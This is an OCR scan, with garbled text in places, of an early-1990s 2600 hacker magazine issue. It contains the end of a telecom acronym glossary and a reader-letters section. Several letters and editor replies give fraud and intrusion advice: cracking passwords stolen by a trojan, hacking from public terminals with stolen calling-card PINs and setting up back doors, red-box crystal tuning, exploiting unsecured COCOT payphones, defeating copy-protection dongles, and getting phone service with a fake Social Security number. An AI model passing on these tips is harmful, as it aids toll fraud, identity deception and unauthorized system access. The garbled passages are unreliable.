I MAS I nteg rated Mass Anrrou ncement System 
IMM Input Message Manual 
IMT I nter-Machine Trunk 
I MTS I m proved Mobile Telephone Service 
I N  I ntel l i gent Network 
INC InterNational Carrier 
I NL Inter Node Link 
INN Inter Node Network 
INTE LSAT INternational Te leco m m u n ications 

SATel l ite consort ium 
INWATS I Nward Wide Area Telephone Service 
10 I nward Operator 
10C I n put/Output Controller 
10CC I nternational Overseas Completion Center 
lOP I n p ut-Output Processor 
lOT I nter-Office Trunk 
I P  Information Provider 
I PCS Interactive Problem Control System 
IPL I n itial Program Load 
IPLAN I nteg rated PLanning And Analysis 
IPM Impu lses Per M i n ute 
IPM I nterruptions Per M i n ute 
IPX I nteg rated Packet eXchange 
IRC International Record Carrier 
IROR Internal Rate Of Return 
IS Interrupt Set 
ISC I nternational Switching Center 
ISDN I nteg rated Service Digital Network 
ISLM I nteg rated Services Line Module 

ISLU Integrated Services Line U n it 
ISN I nformation Systems Network 
ISN Integrated Systems Network 
ISO I nternational Organization for Sta ndard ization 
ISS Integrated Switching System 
ISSN Integrated Special Services Network 
ISUP Integrated Services User Part 
ITS I nstitute of Telecommunication Science 
ITSO I ncoming Tru nk Service Observation 
ITU I nternational Teleco m m u nications Union 
IVP I nsta l lation Verification Program 
IVTS I nternational Video Teleconferencing Service 
IX Interactive eXecutive 
IXM I ntereXchange M i leage 
JCL Job Control Language 
JES Job E ntry System 
J I M  Job I nformation Memorandum 
JMX J u m bogroup M u ltipleX 
JSN J u nction Switch N u m ber 
JSW J u nctor SWitch 
K Ki lobit 
KBPS KiioBits Per Second 
KDT Keyboard Display Term inal  
KFT KiioFeeT 
KHZ KiloHertZ 
KP Key Pu lse 
KSR Keyboard Send-Receive 
KTS Key Telephone Set 
KTS Key Telephone System 
LAC Loop Assign ment Center 
LADT Local Access Data Transport 
LAIS Local Automatic Intercept System 
LAMA Loca l Automatic Message Accou nting 
LAN Local Area Netwt>rk 
LAP Link Access Protocol 
LAPD Link Access Procedure on the 0 channel 
LASS Loca l Area Signal ing Service 
LATA Loca l Access and Transport Area 
LATIS Loop Activity Tracking Information System 
LBO Line Bui ldout 
LBS Load Balance System 
LCAMOS Loop CAble Maintena nce Operation System 
LCCIS Local Common Channel I nteroffice Signaling 
LCCL Line Card CabLe 
LCCLN Line Card Cable Na rrative 
LCDN Last Called Directory N u m ber 
LCIE Lightg u ide Cable I nterconnection Equipment 
LCLOC Line Card LOCatio n  
L C N  Logical C h a n n e l  N u m bers 
LCR Least Cost Routing 
LCRMKR Line· Card ReMa rKs. Retai ned 
LCSE Line Card Service and Equ ipment 
LCSE N Line Card Service and Equ ipment Narrative 
LDMTS Long Distance Message Teleco m m u n ications 

Service 
LEAS LATA Equal  Access System 
LEC Local Exchange Carrier 
LED Light-Em itting Diode 
LENCL Line Equipment N u m ber CLass 
LF Line Finder 
LFACS Loop Facilties Assign ment And Control 

System 
LIFO Last In. Fi rst Out 
LLN Line Link Network 
LMMS Local Message Metering System 
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LMOS Loop M a i ntenace Operations System 
LOC Local Operat ing Company 
LOCAP LOw CAPacitance 
LOF Lock OFf- l ine  
LON Lock ON- l ine  
LPCDF Low Prof i le  Combined Distr ibut ing Frame 
LRAP Long Route Analysis Program 
LRC Longitudal Redu nda ncy Check 
LRS L ine Repeater Stat ion 
LRSS Long Range Switc h i n g  Stu d ies 
LSB Lower Side Band 
LSI Large-Scale I nteg rated circu itry 
LSRP Local Switc h i ng Replacement Pla n n i n g  system 
LSS Loop Switc h i n g  System 
LSV Line Status Verifier 
LTAB Line Test Access Bus 
LTC Loca l Test Cabinet 
LTD Local Test Desk 
LTF Lig htwave Te rminating Frame 
LTF L ine Trunk Frame 
LTG Line Tru nk Group 
L TS Loss Test Set 
LXE Lightg u id e eXpress E ntry 
M/W MicroWave 
MA Mai ntenance Administrator 
MACBS M u lti-Access Cable B i l l i n g  System 
MADN M u lt iple Access Di rectory N u m bers 
MAN Metropolitan Area Network 
MAP M a i ntenance and Ad m i n istrat ion Posit ion 
MAPSS Mai ntena nce & Ana lysis Plan for Specia l  

Services 
MAR Microprogram Add ress Reg ister 
MARC Ma rket Ana lysis of Revenue and Customers 

system 
MAS MAin Store 
MAS Mass Annou ncement System 
MASB MAS Bus 
MASC MAS Control ler  
MASM MAS Memory 
MATFAP Metropolitan Area Transm ission Faci l ity 

Analysys Program 
MBPS MegaBits Per Second 
MCIAS M u lti-Channel  I ntel l igent Annou ncement 

System 
MCC Master Control Center 
MCCS M ec h a n ized Cal l ing Card Service 
MCH Mai ntenance CHannel  
MCHB Mai ntena nce CHannel  Buffer 
Mel  Microwave Com m u n ications I ncorporated 
MCIAS M u lti-Channel  I ntercept Announcement 

System 
MCN Metropolitan Campus Network 
MCS Meeting Com m u n ications Service 
MCTRAP Mechan ized Customer Trouble  Report 

Ana lysis P lan 
M DACS Modular  Dig ita l  Access Control System 
M DC M a rker Distributor Control 
M DC Meridian Digital Centrex 
MDF Main Distribution Frame 
MDU M a rker Decoder U n it 
M DX Modular  Digital eXchange 
MEC Mobile Equ ipment Console 
MELD Mechan ized Engi neering and Layout fo r 

Distributing frames 
MERS M ost Economic Route Selection 
MET M u ltibutton E l ectronic Telephone 
M F  M u lti  Freq uency 
M F E N ET Mag netic Fusion Energy NETwork 
MFJ Mod ification of F ina l  J u dgement 
MFR M u lti-Freq uency Receivers 

MFT Meta l l i c  Faci l ity Term ina l  
MG MasterGroup 
MGT MasterGroup Translator 
M H S  Message Handl ing  System 
MHZ MegaHertZ 
MICE M o d u l a r  I nteg rated Com m u n ications 

Env i ronment 
MIN Mobi le  Identification N u m ber 
M I N X  M u lt imedia I nfurmation Network eXchange 
M I R  M i c ro-I nstruct ion Register 
MIS Ma nagement I nformation System 
MISCF M ISCel laneous Frame 
M ITS Microcomputer I nteractive Test System 
M LC M i n i Line Card 
MLCD M u lt i-L ine Call Deta i l  
M LT Mechan ized Loop Test ing 
M M C  M i n icomputer Maintenance Center 
MMGT M u lt iMasterG roup Translator 
M M OC M i n icom puter M a i ntenance Operations Center 
MMS Main Memory Status 
MMS Memory Ma nagement System 
MMX Masterg roup M u ltipleX 
MODEM MOdu lator-DE Modu lator 
MOG M i n icomputer O perations G roup 
MOS Meta l Oxide Semicond uctor 
MP M u lti-Processor 
M PCH Main  Para l le l  CHannel  
M POW M u lt iple Pu rpose Operator Workstation 
MPPD M u lti-Pu rpose Peripheral  Device 
MRF Mai ntenance Reset Fu nction 
MS M a i nten a n ce State 
MSC Media Stim u l ated Cal l ing  
MTF Master Test Frame, 
MTP Message Transfer Part 
MTR Mechan ized Time Report ing 
MTS Message Telecommunications Service 
MTS Message Telephone Service 
MTS Mobi le  Telephone Service 
MTSO Mobi le  Telephone Switching Office 
MTU M a i ntena nce Term i nation U n it 
MTU Media Tech U nit 
MTX Mobile Telephone eXchange 
M U  Message U n it 
M U LDEM M U ltiplexer-DE M u lt iplexer 
MUX M U lt ip leX 
MVP M u lt i l ine  Variety Package 
MVS M u ltiple Virtual  Storage 
MW M u ltiWi nk 
MXU M u ltipleXer U n it 
NA Next Address 
NAC Network Administration Center 
NAG Network Arch itecture G roup 
NAM N u m ber Assignment Module 
NAND Not-AND gate 
NAS N u merical and Atmospheric Sciences network 
NCC Network Control Center 
NCCF N etwork Com m u n i cations Control Fac i l ity 
NCP Network Control Point 
N CS National  Commun ications System 
NCTE Network Chan nel-Term inating Equ i pment 
N DCC Network Data Col lection Center 
NEBS New Equi pment-Bui ld ing System 
N ESAC National E lectronic Switch i n g  Assistance 

Center 
N EXT Near-End X-Ta lk  
N H R  Non H ierarch ia l  Routing 
N I  Network I nterface 
NM Network Module 
N M C  Network Management Center 
NNX Network N u mbering eXchange 
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N U C  N t � l \\, l H k O p t � r i l t i ( ) n s  Ct 'n t e r  
N o e s  I\J l � t wo r k  Optna t i o l l s  Center  Systen1 
N O R G E N Network  Operat ions Report G E Nerator  
NOTIS Network Operator  Troub le  Informat ion System 
NPA N o  Power A l a r m  
N P A  N u m be r i n g  P l a n  Area 
NPV Net Present V a l u e  
NSA N a t i o n a l  Secur i ty Agency 
NSC Network Service Center 
NSCS Network Service Center System 
NSEC Network Switch i n g  E n g i neer ing Center 
N S F N E T  N a t i o n a l  Science F o u n d at ion N ETwork 
N S P M P  Network Switc h i ng Performa nce 

Measu rement P l a n  
N T  Network Terminat ion 
NT Northern Telecom 
NTEC N etwork Tec h n ical  E q u ipment Center 
NTIA National Teleco m m u n ications a nd I nformation 

Agency 
NTS Network Tec h n i c a l  Su pport 
NTS Network Test System 
NUA Network User Add ress 
N U l  Network User Identificat ion 
N Y N E X  New York. New England and the unknown IX)  
O-lTM  Optical  L ine Term i nat ing M u lt iplexer 
OASYS Office Automation SYStem 
OC Operator Centra l i zation 
OCC Other Common Carrier 
OCE Other Common carrier channel E q u ipment 
OCU Office Channel U n it 
00 Outdial  
ODAC Ope rations Distr ibution Ad m i n istrat i o n  Center 
ODD Operator Dista nce D i a l i n g  
0 0 0 0  Operator Di rect Distance Dia l ing 
ODS Overhead Data Stream 
OFNPS Outstate Faci l ity Network Pla n n i n g  System 
OGT OutGoing Trunk 
O M M  Output M essage Manual  
OMPF Operation a n d  M a i ntenance Processor Frame 
ONAC Operations Network Adm i n istrat i on  Center 
ONAl Off Network Access li ne 
O N I  Operator N u mber Identificat ion 
OP Outside Plant  
OPC Originating Point Codes 
OPEOS Outside Plant p lanning.  E n g i neering & 

construction Operations System 
OPM Outside Plant Module 
OPS Off-P remises Statio n  
O P S M  Outside P l a n t  S u bscriber M o d u l e  
O P X  Off-Premises eXtension 
OR Originating Register 
ORB Office Repeater Bay 
ORM Optical Remote Module 
OS Operata: Service 
OS O utState 
OSAC O pe rator Services Assista nce Center 
OSC Operator Services Center 
OSC OSCi l lator 
OS OS O perat ing System for Distributed Switc h i ng 
OSI Open Systems I nterconnection 
OSO Originating S igna l ing Office 
OSP OutSide Plant 
OSPS Operator Service Posit ion System 
OSS Operator Service System 
OUTWATS O UTward Wide Area Teleco m m u nications 

Service 
OW Over-Write 
P/AR Peak-to-Average Ratio 
PA Power Al larm 
PA Program Address 

PABX Private Automatic Branch eXchange 
PACE Program for Arrangement of Cables and 

E q u i pment 
PACT Prefi x Access Code Translator 
PAD Packet Assemb ly/Disassem bly 
PAM Pulse-Ampitude Modu lation 
PAN Perso nal  Account N u m ber 
PANS Pretty Advanced New Stuff 
PAS Publ ic  Annou ncement Service 
PAT Power Alarm Test 
PAX Private Automatic eXchange 
PBC Peripheral  Bus Computer 
PBC Processor Bus Control ler  
PBD Pacific Bel l  Di rectory 
PBX Private Branch eXchange 
PC Pr imary Center 
PCDA Program Control led Data Acq u isit ion 
PCH Para l le l  CHannel  
PCM Pu lse-Code Modu lat ion 
PCO Peg Count a n d  Overflow 
PCTV Program Control led TransVerters 
PO Peripheral  Decoder 
PDF Power Distr ibution Frame 
POI Power a n d  Data I nterface 
PDN Publ ic  Data Network 
PDSP Peripheral Data Storage Processor 
PE Peripheral E q u i pment 
PECC Prod uct E ng i neering Control Center 
PFPU Processor Frame Power U n it 
PH Pa rity H i g h  bit 
PIA P lug- In  Ad m i n istrator 
PIC Plastic- Insu lated Cable 
PIC Primary I ndependent Carrier 
PICS Plug-in I nvento ry Control System IPICS/DCPR) 
P IN Perso nal  Identification N u m ber 
PIP Packet I nterface Port 
Pl Pa rity low bit 
PM Peri pheral Module 
PM Plant M anagement 
PMAC Peripheral Module Access Control ler  
PMU Precision Measurement U n it 
PNB Pacific Northwest Bel l  
PNPN Positive-Negative-Positive-Negative devices 
POB Peri phal  Order Buffer 
POF Programmable Operator Faci l ity 
POP Point Of Presence 
POTS Pla in  Old Telephone Service 
PP Post Pay 
PPD Peripheral P u l se Distri butor 
PPN Publ ic Packet Switc h i ng 
PPS Prod uct Performa nce Su rvey� 
PPS Publ ic  Packet Switching network 
PRCA Puerto Rico Com m u n ications Authority 
PREMIS PREM ises I nformation System 
PRI Pr imary Rate I nterface 
PROM Programmable Read-Only Memory 
PROMATS PROgrammable Mag netic Tape System 
PROTEl PRoced u re O riented Type E nforcing 

language 
PRS Persona l  Response System 
PRTC Puerto Rico Telephone Compan� 
PS Program Store 
PSAP Publ ic  Safety Answering Point 
PSC Prime Service Contractor 
PSC Publ ic  Safety Cal l ing system 
PSC Publ ic  Service Commission 
PSDC Publ ic Switched Digital Capa b i l ity 
PSE Packet Switch Exchange 
PSIU Packet Switch Interface U n it 
PSK Phase-Shift Keying 
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PSM Packet Service Module 
PS M Posit ion Switch ing Module 
PSN Packet Switched Netwo rk 
PSN Publ ic Switched Network 
PSO Pend ing Service Order 
PSS Packet Switch Stream 
PSS packet Switched Services 
PSTN Publ ic Switched Telephone N etwork 
PSU Program Storage U n it 
PSW Prog ram Status Word 
PT ProQ ram Timer 
PTAT Private Trans Atlantic Telecom m u n ications 
PTT Posta l Telephone and Telegraph 
PTW Primary Translation Word 
PUC Peripheral Unit  Control ler  
PUC Publ ic  Uti l ities Comm ission 
PVC Permanent Virtual  C i rcu its 
PVN Private Virtua l  Network 
OAM Quad rature·Amplitude Modu lation 
OAS Quasi·Associated Signal ing 
QMP Qual ity Measu rement Plan 
QRSS Quasi  Random Signal  Source 
QSS Qual ity S u rvei l lance System 
R R ing 
R&R Rate 8< Route 
R8<SE Research 8< Systems Engi neering 
RIO Read/Only 
R/W Read Write 
R/WM Read/Write Memory 
RAM Random·Access Memory 
RAND R u ral  Area Network Design 
RAO Regional  Accounting Office 
RAO Revenue Accounting Office 
RAR Return Address Register 
RASC Residence Acc"unt Service Center 
RBHC Regional  Bell Hold ing Company 
RBOC Reg ional  Bel l  Operating Company 
RBOR Request Basic Output Report 
RC Regional  Center 
RC Resistance·Capacitance 
RC MAC Recent Change Memory Ad m i n istration 

Center 
RCC Radio Common Carrier 
RCC Remote Cl uster Control ler  
RCC Reverse Command Channel  
RCF Remote Cal l  Forwarding 
RCLDN Retrieva l of C a l l i ng Line Di rectory N u m ber 
RCM Remote Carrier Module 
RCSC Remote Spoo l ing Cl)m m u n ications Su bsystem 
RCU Radio Channel  U n i t  
R C V R  ReCeiVeR 
ROES Remote Data Entry System 
RDS Radio Digital  System 
ROT Radio Digital  Term ina l  
REC Regional  Engi neering Center 
REM Remote ,Eq u i pment Module 
REMOBS R EMote OBservation System 
REN R i ng Equ iva lence N u mber 
REXX REsttuctred eXtended eXecuter lang uage 
RF Radio Freq uency 
RID Rem ote Isolation Device 
RISLU Remote I ntegrated Services Line U n it 
RLCM Remote Line Concentrat ing Module 
RL T Remote Line Test 
RMAS Remote Memory Admin istration System 
R M R  Remote Message Registers 
RMS Root·Mean·Square 
RN Reference Noise 
RNOC Regional  Network Operations Center 
RO Receive Only 

ROB Remote Order Buffer 
ROC Reg ional  Operating Company 
ROH Receiver OffiHook 
ROM Read·Only Memory 
ROTL Remote Office Test Li ne 
RQS Rate/Quote System 
RQSM Regional  Qual ity Service Ma nagement 
RRO Reports Receiving Office 
RSA Repa i r  Service Attendant 
R S B  Repa i r  Service B u reau 
RSC Remote Switch ing Center 
RSC Residence Service Center 
RSCS Remote Sou rce Control System 
RSCS Remote Spool ing Com m u n ications Su bsystem 
RSLE Remote S u bscriber Line E q u i pment 
RSLM Remote S u bscriber Line Module 
RSM Remote Switch ing Module 
RSS Remote Switch ing System 
RSTS/E Resou rce System Time Shar i ng/E n h a nced 
RSU Remote Switch ing Un it  
RTA Remote Trunk ing Arrangement 
RTL Resistor·Tra nsistor Logic 
RTM Regional  Telecom m u n ications 'Management 
RTM Remote Test Module 
RTS Remote Testing System 
RTU Remote Tru n k i ng U n it 
RTU R ight  To Use 
R U M  Remote User M u ltiplex 
RWC Remote Work Center 
RX Remote eXchange 
Loo". "". _ I'IIn out of .p_ 8fIIIlni Sorry. But 

the third he" will definite/" be the I.at of It. 

WR ITE FO R 2600 ! 
SE N D  YOU R ARTI CLES TO : 

2600 ARTI CLE  
S U B M I SS I O NS 

PO BOX 99 
M I DDLE I S LAN D ,  NY  1 1 953 
I N TE R N ET 2600 ,Cl we l l  sfca us  

FAX ( 5 1 6 )  75 1 ·2608 
Remember .  a l l  w ri te rs get f ree 

s u bSCr ip t ions as wel l  as  f ree 

accounts on  our  vO ice fTla i l  system 

To contact a 2600 wnter .  ca l l  0700· 
75 1 ·2600 . I f  you re not u S lf lg  AT&T .  
p reface that  wi th  1 0288 Use tOllch 

tones to track down the  wr i te r  vou re 

look ing  fo r .  Ove rseas ca l l e rs can ca l l  
our  off ice ( 5 1 6 ) 75 1 ·2600 and w e ' l l  

forward the message 
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Printable Letters 
Mall Fallout 
Dear 2600: 

I just finished reading the articie on the crap that 
went  on i n  the Pentagon Ci ty  M a l l  and I am 
appalled. It seems that the government feels that all 
hackers are either pirates or dark siders, where in 
reality only a few hackers are from the shady side 
and many of the pirates out there are not real 
hackers. They seem to forget that many of the 
people who do things like Unix security (or any 
form of computer security for the matter) got their 
start in hacki ng .  The best  way to fix holes  in  
security is to  find them before someone else does. 
The extent of hacking goes much further than this 
but it just seems to me as if the "officials" (and I use 
the word loosely) get scared if someone know how 
to do something bes ides  run Word Perfect ,  
Windows, or Lotus 1 -2-3 .  I feel that the actions 
brought about by the Secret Service and the Mall 
security guards were extremely uncalled for and I 
stand behind anyone out there who goes out and 
fights it. 

Dear 2600: 

The Knight of Ni 
New.Jj!rsey 

The unpleasant incident which occurred to the 
attendees of the 2600 meeting held in Pentagon City 
Mall in D.C. is too upsetting. If the mall cops hadn' t  
bothered the meeting, they might have caught a few 
shoplifters or someone who was clearly breakin& a 
law. 

The news of the incident spread fast, though. I 
first read it on the Internet, then in the zine. 'I think 
the hackers did a 

'
good job whe� they contacted the 

media (The Washington Post) and several other 
organizat ions  (EFF, C P S R ,  A C L U )  after the 
incident. Spread the word around, let more people 
know, and maybe we won't  have any more chances 
of dealing with the S.S. men in our local malls. 

Keep up the great work ! ! !  
Knight KIone 

Atlanta, GA 
The DC events are a perfect example of. what 

transpires when hackers stick together and use their 
resources. It also serves ' as a model of what can 
happen when authority figures overstep their 
boundaries and then try and cover the whole thing 
up. 

Beginner Questions 
Dear 2600: 

Hi, I am just beginning to , hack and enter the 
phreak world. I was wondering if you could suggest 
some good literature I could read that would better 
understand stuff for me. I recently got your Spring 

1 992 edition of 2600 Magazine from my uncie who 
works at Digital .  I l iked it a lot ,  but  I didn ' t  
understand half of the terminology and some of the 
basics.  Oh yeah, I read your "Hacking WWIV" 
article and found it quite useful. I tried out the idea 
of building a trojan that would steal the user file. I 
built it in C, and it ran for Searchlight systems. 
After I downloaded the file, one major problem 
appeared. Apparently, Searchlight uses the Unix 
method for encrypting passwordS in files and I can't  
get at  any of them at  all. What do you suggest I do? 

JC 
Canada 

We ' re constantly p rinting reviews and 
directories of hacker reading material. If you keep 
reading, you 'll get caught up fairly soon. If the 
system you 're after uses the same method of 
encryption as a Unix system, you can look for a 
Unix password hacker that will run on any PC. 
There are lots of them out there and they can be 
modified to go through dictionaries, common 
passwords, words with numbers attached, and 
almost anything else. 
Dear 2600: 

I know you must be getting kinda sick of letters 
from people saying they're just beginners and they 
want to ask you some really stupid question you're 
almost embarrassed to answer, but . . . . I was reading 
a file for beginning hackers and the author warned 
against  u s i n g  cal l ing  c ard numbers,  saying 
something like, " If you do, you will get caught 
sooner or later, no matter what." 

Well, because nothing like Telenet or Tymnet is 
local from here, using calling card numbers is about 
the only way I can get toll-free long distance. So I 
was wondering if you could explain to me the 
general security procedures around this and how one 
would get caught. I know virtually nothing about it 
and I'm eager to try some numbers I have. 

DlaI Tone 
Nevada City, CA 

There 's nothing stupid about asking a question 
if you don 't know the answer. It's a lot dumber not 
to ask or, even worse, not to answer if you're in a 
position to help. As far as calling cards, quite 
simply it's a bad idea because the phone number 
you call from is always printed on the phone bill! 
We suggest you find another way onto the net, like 
possibly going through a school and hopping onto 
the Internet. 

Defeating Hardware Locks 
Dear 2600: 

In the winter issue, The Pizza Maker Hacker 
asked about "those cryptic parallel port hardware 
locks". Well, Pizza Maker, those "locks" ate just 
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little boxes sitting on your machine waiting for a 
signal from the program to ask if it' s there. Let's say 
your program expects that little nUi sance to be 
plugged in. It sends a signal to the box like "Hey, 
are you plugged in?" If it is, the box replies, "Yeah, 
I 'm here. Go ahead. "  and the program continues 
execution. If the box isn't there, we can guess that 
the program says "Hell-ooo? Where are you?" and 
after a while decides that you aren't authorized to 
run that program on that computer. 

What would h appen if you "shared" one of 
those annoying little plugs between two or three 
machines? Like, what if you combined all the same 
pins on each machine and connected the three into 
the corresponding hole of the connector? If you're 
looking for a way to defeat the dam things, try that. 
It's all I can think of. 

The Publie 
Dear 2600: 

I notice that several of your readers have written 
to ask about hardware keys, devices that attach to a 
parallel port and come with many popular programs, 
as a form of copy protection. 1bere have been many 
complaints made about these devices, and people 
have asked if there is a way to bypass t1iem. There is 
a company in Canada by the name of Safesoft 
Systems Inc . ,  which sells programs to defeat the 
hardware lock security found on many programs. 
Their address is: Safesoft Systems, Inc . ,  202- 1 1  00 
Concordia, Winnipeg, MB R2K 4 B 8 ,  Canada. 
Phone: (204) 669-4639, fax: (204) 668-3566. The 
programs they sell load TSR's and are designed to 
fool specific software packages into believing that 
the hardware key is attached. I hope this may be of 
help to other readers. 

Telco Fascists 
Dear 2600: 

ArcUght 
Fullerton. CA 

About six months ago, I tried to set up new 
phone service for an apartment I had moved into. I 
used a different name than I had previously had my 
old phone under and told the ma service person that 
I had not had phone service before. What followed 
was im abrasive and degrading interrogation for 
information. I wasn' t  "suspected" of anything, but 
still their "normal procedure" now is to demand 
both one ' s  Social Security number and one ' s  
driver's license nUmber a s  well as what one does for 
a l i v i n g .  B y  the time I was throu gh,  she was 
demanding both that I give her my landlord's phone 
number so they could "verify" me, and trot down to 
their offices and upchuck identification to them. 

Their demand for the Social Security number 
should be a violation of the Federal Privacy Act of 
1 975, since they are, for all intents and purposes, the 
government - at least they are a monopoly one has 
to use. Maybe Clinton will appoint judges who will 
take individual rights and privacy a little bit more 

seriously . . . .  
I waited abeut three months, then phoned ma 

again to set up service, this time for a friend' s  place 
(I had phoned ma from a fortress phone previously -
maybe that helped foul it up). Even though I had 
used a phony Social Security number for my 
previous phone account, I gave the name for the 
previous account and had service connected without 
them asking for any further info, except for a phone 
number where I could be reached. 

Maybe rna' s aim is to keep people from running 
up huge phone bills and skipping. That may be the 
case, but the demand for both Social Security 
number and driver's license number amounts to a 
dnlstic erosion of privacy and a totaIitarianization of 
identity. 

I'm curious if you know if anyone has brought 
suit against ma based on the Privacy Act regarding 
this (in California), and if you know if other Baby 
Bells are putting new customers through the same 
shit. I'd like to get info on this from other readers. 

I'm curious if you might also have info on jail 
addresses for political prisoners locked down for the 

.heinous crime of hacking. 
NA 

Sacramento, CA 
It also seems as if they don 't really need a real 

number bosed on your experience. We do have some 
prisone rs who subscribe (not imprisoned for 
hacking as far as we know) and, if they want, we 
will give out  their address here or in the 
Marketplace. We won 't give out addresses without 
their permission, however. Read on for a letter from 
one of our prisoner friends. 
Dear 2600: 

I have an unusual question about my phone 
system. I ' m  one of your few subscribers who is 
currently held in prison (I hope), and the phones I 
have access to seem to be restricted lines, allowing 
only collect cal l s .  I have been unsuccessful in 
placing toll-free calls (1 -800) or getting another 
carrier ( 1 0288). 

Since there are many phones i n  this same 
institution, I assume they are all a part of a PBX or 
similar system. My question is thi s :  how can I 
determine what system they are using, and once I 
do, what sort of vulnerabilities do you think it might 
have? I estimate about 50 of these collect-only 
phones in the institution. Some have numbers, but 
they don't accept calls. 

Do you have any info on typical prison systems, 
or what one can do on a "restricted line" that only 
allows collect calls? 

M 
Our Winter 1992-93 issue had some info on 

prison phones. It 's not likely that your system is 
part of a PBX since phone companies have a class 
of service for prison phones. That is, while there 
may be a PBX in the prison, it's not typical for 
payphones to be hooked into them. It would be nice, 
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but it 's not "e'Y' probable. 

Info 
Dear 2600: 

I j u s t  purchased your wonderfu l z ine and fi nd i t  
q u i te i n terest ing .  I have h a d  a P C  for q u i te a w h i l e  
and concentrate m a i n l y  on soft ware pi racy and a 
substantial  b i t  of programming u t i l i t ies  for my own 
per�onal u\c .  Ever ", i nce rece i v i n g  a modem. I am 
fasc i n ated by t h e  l i m i t l e s s  app l i c a t i o n s  that t h e  
phone service h a s  to offer. I n  V o l u m e  9. Nu mber 2.  
the aMide on Voice M a i l  H ac k i n g  prompted me to 
go to a payphone and e x p l ore u s i ng the n u mbers 
pro v i ded. 

I f  Y" u  have a stolen cal l i n g  card number. AT&T 
now offers a great service cal led Public Phone 2(XX). 
I t ' s  a complete term inal  a l lowing you to hack on the 
spot w i t h o u t  carry i n g  your own gear.  Just d i a l  a 
s y s t e m ' s  n u m b e r .  e n t e r  y o u r  s t o l e n  P I N  a n d  
proceed. I t  can ' t  b e  traced back t o  you because the 
card ' s  not yours to beg i n  with. The only problem is 
t h a t  y o u  c a n ' t  r e t r i e v e  data. but you can test a 
system and perhaps set  up some back doors . The 
term i n a l s  a l s o  c o m e  w i t h  a p h o n e  j a c k  for y o u r  
laptop i f  y o u  choose t o  d o  so. 

John Wesley Harding 

New Jersey 
If y o u  ' re n o t  o " e rly p a ra n u i d  a b u u t  t h e  

terminals hu\'ing little cameras or a b o u t  ha ving 
your data captured someplace else. this may just be 
the senliee Jilr you. 

Dear 2600: 
I l i ve in Los Ange les. and I have di scovered 

some strange l i tt le  "qu irks" i n  the phones here. First 
of a l l .  whenever d i a l i n g  any prefix ( at least in the 
3 1 0  area code ) and 0(X)2 ( i .e .  474-0002. 392-0002. 
etc . ) you w i l l  rece i v e  what sounds like the high end 
of a loop. It even has those little pauses every now 
and then.  But I ' m  unable to verify if it is a loop or 
what. AI,o. any prefix and 1 1 10 wil l  give you a 300 
baud carrier. This seems to work in both 3 1 0 and 
2 1 3  area code. Just thought I ' d  notify you guys. 

Frion Man 
Los Angeles 

The 0002 is not a 1001'. It 's a 1004 h� tone test 
line. We don 't kno", abuut the carrier. 

Dear 2600: 
First off I want to say that your publication is 

one of the best through the presses. Next I have a 
question. I am hearing a lot about this Simplex lock 
anicle. What issue was that in? I ' ve only been along 
for the ride since Autumn 92 an d I ' d  l i ke to find 
back issues of interest to me. Do you have an index 
made u :' " kind of reference guide to 2600? Next a 
c o m m e n t  about  Count Zero ' s  art icle  on COCOT 
phones in the Autumn 92 issue. Throughout western 
and central Washington at least. i have noticed a lot 
of the Texaco stations'  phones are COCOTs and 
they work with no security whatsoever. A simple 1 -
800 wait procedure works. no keypad lock-out and 

no m i ke- mute . Other Z600 readers may want to look 
i nto Texaco stations in their area . 

Static 

Washington 
U n l e s .\' £1 / 1  Te.rt. tco s t a t i o l l s  li s e  the s a m e  

COCOT "emlor. it '.' tllllikely t/l<lt yotl '/1 ./ill" the.,e 
gullible plumes at  those starions. Btlr �l you ('(Ill 

.figure oul �rhere these COCOT .. art' coming from. 
you '/I ./ind them ill llll kinds l?f'ph,ce.\". The �n'akne.'H 
could he cOIn in,s.: from two point ... - the phone itself 

or lite people II'ho "i.Hribtlte the phone. Both of 

the.,e bit.l· of i�/(Jrmalion should be all the phone 
it.l'e(f: It 's important to rea/i:.e that playing .... ith 
e D e D Ts can b e  m o re d a n g e r o u s  b e c a u s e  
s o m e t i m e s  t h e  a c t u a l  o w n e r  l�l t h e  p h o n e  is  

physically dose to you .. .  hile you 're playing games. 
Concerning the Simplex a rticle. the isstle yuu 

want is A utumn 1 991 .  And uur long-a",aited index 
threatens to he done Itlter this .vetlr. 
Dear 2600: 

I real ize that 2600 is an open forum for free 
speakers of all types.  I think this is a great policy for 
a national publ ication. Print it  al l .  let the readers sort 
i t  a l l  out. Great. But where do you draw the l ine '? 
You can ' t  print everything submitted. My comment 
i s ,  is 2600 the r i g h t  p l ac e  for c a b l e  TV 
d e s c ra m b l e r/ c o n v e r t e r  bOll i n fo ?  The back of 
Pupular Scien('e is  ful l  of such stuff. Your space is 
better saved for more rare info. 

When I went to Radio S hack last  week. and 
asked if they cut custom crystals (yes).  they curtly 
informed me that they "know exactly what [ want 
that frequency for" and flatly refused to sel l  i t  to 
me. They did sell me the auto dialer. I half e�pected 
to find the insides ful l  of epoxy. but it was c lean. 

In regards to using a switch to select between 
the stock crystal and the red box 6.553 Mhz crystal. 
I say great ! The added capacity of the wires and 
s w i tc h  w i l l  lower the frequency of the crystal s .  
Since the 6 . 5 5 3  M h z  is too high (6 .490 is best) .  this 
is a desired effect. I also think that since everyone 
w i l l  use a s l i ght ly  different  set-up. the re sult ing 
tones wi l l  be almost unique. DSP wi l l  just  love that ! 
Thin shOM wires wi l l  produce the least change in the 
crystals. long thick wires the most. Don' t  go too far 
with this or it won ' t  work at al l .  

A phone book size catalog of test  equipment. 
pans. cables. and computers is  free from 1 -800-472-
7373.  Ask for the Buyers Guide. 

What ' s  the ANAC for 3 1 0  andlor 8 1 8  areas'? 
Mouse Balls 

Try 1 14. 1 223. or 6 / 056. It 's also possible 760 
or 760 plus four digits might work. Hopeftilly, one 

uf our many Los Angeles-based readers ('(/rl help us 
on this one. 
Dear 2600: 

Let me stan by saying your magazine is a great 
service to the H/P community.  Now, in regard to 
your last issue. the Apple II  Evangelist wrote about 
the inquiries of Radio Trash.  My experience with 
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them was different. After I told them what I wanted 
( and convi nced them that i t  was possib le  to order 
out fo r a c ry s t a l )  t h e y  refu s e d  to se l l  me t h e  
autod ialer !  I h a d  to go 10 another R a d i o  Trash to 

piek it up. Also. your readers might find these 800 
nu mbers of interest: 800-546- 1 000 ( 2400) ,  800-546-
2000 ( 2400) ,  800-546-2500 ( 9600 ) ,  800-546-3000 
( 1 200) .  

MW 
Ohio 

Radio Shack has app a ren tly caved in to 

pressu re from either federal authorities or  the 

pirone companies concerning their modifiable tone 

dialers. It 's not the first time. Their valuable CPA-

